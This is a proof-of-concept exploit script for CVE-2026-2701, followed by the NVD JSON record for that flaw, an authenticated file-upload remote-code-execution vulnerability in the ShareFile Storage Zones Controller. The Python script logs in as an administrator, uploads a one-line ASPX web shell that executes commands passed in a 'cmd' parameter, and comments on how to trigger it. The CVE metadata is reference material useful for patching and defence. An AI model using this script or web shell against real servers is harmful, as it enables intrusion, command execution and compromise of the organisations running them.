CVE-2026-2701

import requests # Target configuration target_url = "http://target-sharefile-server/upload_endpoint" login_url = "http://target-sharefile-server/login" # Attacker credentials (High privileges required) username = "admin" password = "password" # Create a session to maintain cookies session = requests.Session() # Step 1: Authenticate login_payload = { "username": username, "password": password } print("[+] Attempting to login...") response = session.post(login_url, data=login_payload) if response.status_code == 200: print("[+] Login successful!") # Step 2: Prepare malicious file (Web Shell) # Note: The actual payload depends on the server technology (ASPX, PHP, etc.) shell_content = '<%@ Page Language="C#" %><%System.Diagnostics.Process.Start(Request["cmd"]);%>' files = { 'file': ('exploit.aspx', shell_content, 'application/octet-stream') } # Step 3: Upload the malicious file print("[+] Uploading malicious file...") upload_response = session.post(target_url, files=files) if upload_response.status_code == 200: print("[+] File uploaded successfully!") # Step 4: Execute the payload (Conceptual) # attacker would access http://target-sharefile-server/uploads/exploit.aspx?cmd=whoami else: print("[-] Upload failed.") else: print("[-] Login failed.")

{"cve": {"id": "CVE-2026-2701", "sourceIdentifier": "[email protected]", "published": "2026-04-02T14:16:27.917", "lastModified": "2026-04-21T00:28:12.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authenticated user can upload a malicious file to the server and execute it, which leads to remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:progress:sharefile_storage_zones_controller:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.12.4", "matchCriteriaId": "7E529EF7-C595-44DE-AC65-65823643EBCD"}]}]}], "references": [{"url": "https://docs.sharefile.com/en-us/storage-zones-controller/5-0/security-vulnerability-feb26", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}